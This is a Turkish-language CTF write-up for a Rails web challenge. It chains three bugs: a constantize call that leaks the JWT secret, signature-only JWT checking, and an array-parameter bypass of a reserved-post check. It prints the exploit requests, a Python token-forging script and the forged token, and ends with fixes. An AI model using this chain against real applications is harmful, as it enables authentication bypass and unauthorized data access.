squ1rrel CTF 2026 — rails Writeup
Üç küçük Rails hatası birbirine bağlanıyor: saldırgan kontrolündeki constantize JWT imzalama anahtarını sızdırıyor, admin middleware o anahtarla imzalanmış herhangi bir HS256 token'ı kabul ediyor ve bir dizi query parametresi reserved-post kontrolünü atlayarak flag'i döndürüyor.
squ1rrel CTF 2026 — rails
"rails" (Web), iki rotalık bir saldırı yüzeyi ve tek bir özel Rack middleware'inden oluşan stok bir Rails 8 uygulaması. Tek tek bakınca çarpıcı bir satır yok; ama üç sıradan hata birleşiyor: dinamik bir sabit (constant) çözümlemesi, yalnızca imzayı doğrulayıp başka hiçbir şeyi kontrol etmeyen bir JWT kontrolü ve bir dizinin kolayca geçtiği bir string karşılaştırması.
- Etkinlik: squ1rrel CTF 2026
- Kategori: Web
- Stack: Ruby on Rails 8.1, Puma, SQLite
- Flag formatı:
squ1rrel{...}
1. Uygulama
config/routes.rb tam olarak iki endpoint sunuyor:
get "show/:resource", to: "show#index"
namespace :admin do
get "posts", to: "posts#index"
endshow controller'ı yol parçasını bir sabite dönüştürüp üzerinde bir metot çağırıyor:
class ShowController < ApplicationController
def index
@resource = params[:resource]
# If you want to add functionality to this endpoint, add
# files in modules/
resource_name = @resource + "Module"
render json: { data: resource_name.constantize.new.show }
end
endAmaçlanan kullanım, her biri show metodu olan bir SomethingModule tanımlayan modules/*.rb dosyaları:
class DateModule
def show
Date.today
end
endAdmin controller'ında, belirli bir satırı gizlemesi gereken bir koruma var:
class Admin::PostsController < ApplicationController
def index
id = params[:id]
if id == "1"
raise "This post is reserved, and cannot be viewed."
end
post = Post.where(id: params[:id]).first
render json: { data: post }
end
endVe veritabanı, flag 1. satırda olacak şekilde seed'leniyor:
Post.destroy_all
Post.create!(id: 1, content: ENV["FLAG"] || "test_flag")
Post.create!(id: 2, content: "Check out my blog!")
# ...show içindeki her şey herkese açık. /admin/* ise bir middleware ile korunuyor (lib/middleware/admin_auth.rb):
def call(env)
request = Rack::Request.new(env)
if request.path.include?("admin")
token = request.cookies['auth']
if token
begin
hmac_secret = JWTSecret.new.show
decoded_token = JWT.decode(token, hmac_secret, true, { algorithm: 'HS256' })
rescue JWT::DecodeError => e
return [401, { 'Content-Type' => 'text/plain' }, ['Invalid or Expired Admin Token']]
end
else
return [401, { 'Content-Type' => 'text/plain' }, ['Missing Admin Authentication Cookie']]
end
end
@app.call(env)
endÜç şey göze çarpıyor: koruma yalnızca yol "admin" alt dizesini içerdiğinde çalışıyor; token, düz bir Ruby nesnesinden gelen bir HMAC anahtarıyla doğrulanıyor; ve başarılı bir çözümleme tek koşul — hiçbir claim, rol ya da süre (exp) incelenmiyor.
2. Hata 1 — saldırgan kontrolündeki constantize imzalama anahtarını sızdırıyor
resource_name = @resource + "Module" ve ardından resource_name.constantize. Sonek sabit ama önek kullanıcı girdisi; dolayısıyla adı Module ile biten her sabit erişilebilir. config/initializers/misc.rb erişilebilir olmaması gereken bir tanesini tanımlıyor:
class JWTModule < JWTSecret; endJWTModule, tek public metodu secret'ı döndüren JWTSecret'tan miras alıyor:
class JWTSecret
SECRET = ENV["JWT_SECRET"] || SecureRandom.base64(32).freeze
def show
SECRET
end
endYani GET /show/JWT, JWTModule'ü çözümlüyor, örnekliyor ve miras alınan show'u çağırıyor:
GET /show/JWT -> {"data":"OUzeSCqm3qRMxQepGLfWnVFGcDJJUckW/vkAGyvaOaA="}Bu değer, bir sonraki istekte admin middleware'inin kullandığı HMAC anahtarının ta kendisi. Var olmayan bir sabiti istemek çözümlemenin keyfi olduğunu doğruluyor (/show/Rails -> 500 NameError, 404 değil). Endpoint'e çerezsiz de erişilebiliyor, çünkü middleware yalnızca "admin" içeren yollarda devreye giriyor.
3. Hata 2 — yalnızca imzası kontrol edilen bir JWT
Middleware hiçbir şey imzalamıyor, kimseyi yetkilendirmiyor; yalnızca çerezin sızdırılan secret'la geçerli bir HS256 JWT olarak çözümlendiğini kanıtlıyor. audience, issuer, rol ya da exp kontrolü yok; yani imza eşleştiği sürece her payload geçer. Sızdırılan anahtarla token forge etmek önemsiz:
import hmac, hashlib, base64, json
s = "OUzeSCqm3qRMxQepGLfWnVFGcDJJUckW/vkAGyvaOaA="
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=')
h = b64(json.dumps({"alg": "HS256", "typ": "JWT"}, separators=(',', ':')).encode())
p = b64(json.dumps({"sub": "admin", "admin": True}, separators=(',', ':')).encode())
sig = b64(hmac.new(s.encode(), h + b'.' + p, hashlib.sha256).digest())
print((h + b'.' + p + b'.' + sig).decode())eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImFkbWluIjp0cnVlfQ.GJHJR5WUpdjWQDJA7P7YYnxj19LZAhGmSCHnnYdyrBIBunu auth çerezi olarak göndermek artık middleware'i geçiyor. Reserved kontrolü hâlâ önümüzde, ama yalnızca düz bir string karşılaştırmasıyla.
4. Hata 3 — dizi parametresi id == "1" kontrolünü alt ediyor
Controller id == "1" durumunu reddediyor, ardından Post.where(id: params[:id]) sorgusunu çalıştırıyor. Bu iki satır params[:id]'nin tipi konusunda anlaşamıyor. Normal bir query string'de params[:id], "1" string'idir ve koruma tetiklenir:
GET /admin/posts?id=1 -> 500 (RuntimeError: This post is reserved ...)Ama Rack, id[]=1'i bir Array'e çeviriyor. ["1"] == "1" ifadesi false, dolayısıyla koruma atlanıyor; Active Record ise where(id: ["1"])'i rahatça id IN ('1') olarak genişletiyor — ve reserved satırı döndürüyor:
GET /admin/posts?id[]=1 -> {"data":{"id":1,"content":"squ1rrel{...}", ...}}Klasik bir parametre tip karışıklığı: kontrol bir gösterime bakıyor, sorgu başka bir gösterimi tüketiyor.
5. Zincirin uçtan uca hali
# 1. imzalama secret'ını sızdır
GET /show/JWT
-> {"data":"OUzeSCqm3qRMxQepGLfWnVFGcDJJUckW/vkAGyvaOaA="}
# 2. o secret ile HS256 admin token forge et (yukarıda)
# 3. sun ve reserved kontrolünü atla
GET /admin/posts?id[]=1
Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...GJHJR5WUpdjWQDJA7P7YYnxj19LZAhGmSCHnnYdyrBI
-> {"data":{"id":1,"content":"squ1rrel{fake_flag_for_local_testing}", ...}}Yol boyunca sağlamalar: çerez olmadan 401 Missing Admin Authentication Cookie; forge edilmiş çerezle düz id=1 hâlâ 500, bu da satırı açan şeyin token değil dizi parametresi olduğunu kanıtlıyor; id=2..4 ise olağan seed post'larını döndürüyor.
6. Her halkayı düzeltmek
- Kullanıcı girdisini asla
constantizeetme. Bir allow-list map kullan ({ "date" => DateModule, ... }) ya daString#safe_constantize'i sabit bir kümeyle sınırla. Sabit bir sonek bağlamak çözümlemeyi güvenli yapmaz. - Secret'ları genel "her modülü render et" endpoint'leriyle ifşa etme.
JWTSecret#show, public bir rota arkasındaki bir secret; modül deseni onu erişilebilir kıldı. - Yalnızca imzayı değil, JWT claim'lerini de doğrula.
exp,aud,issve açık bir rolü kontrol et; algoritması beklenen olmayan token'ları reddet. İmzası geçerli olmak, yetkilendirme açısından geçerli olmak değildir. - Tipleri tutarlı karşılaştır. Kontrolden önce cast/normalize et (
params[:id].to_s == "1"), daha iyisiparams.require(:id)semantiği kullan ve düz bir tamsayı olmayan her şeye 404 döndür. Bir dizi asla bir yetkilendirme kararına ulaşmasın. - Middleware'i alt dizeyle değil tam yol ile sınırla.
path.include?("admin")ayrıca/foo/adminbarile de eşleşir; gerçek bir rota önekini eşleştir.
7. Flag
squ1rrel{fake_flag_for_local_testing} # yerel çalıştırma; gerçek flag squ1rrel{...}Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver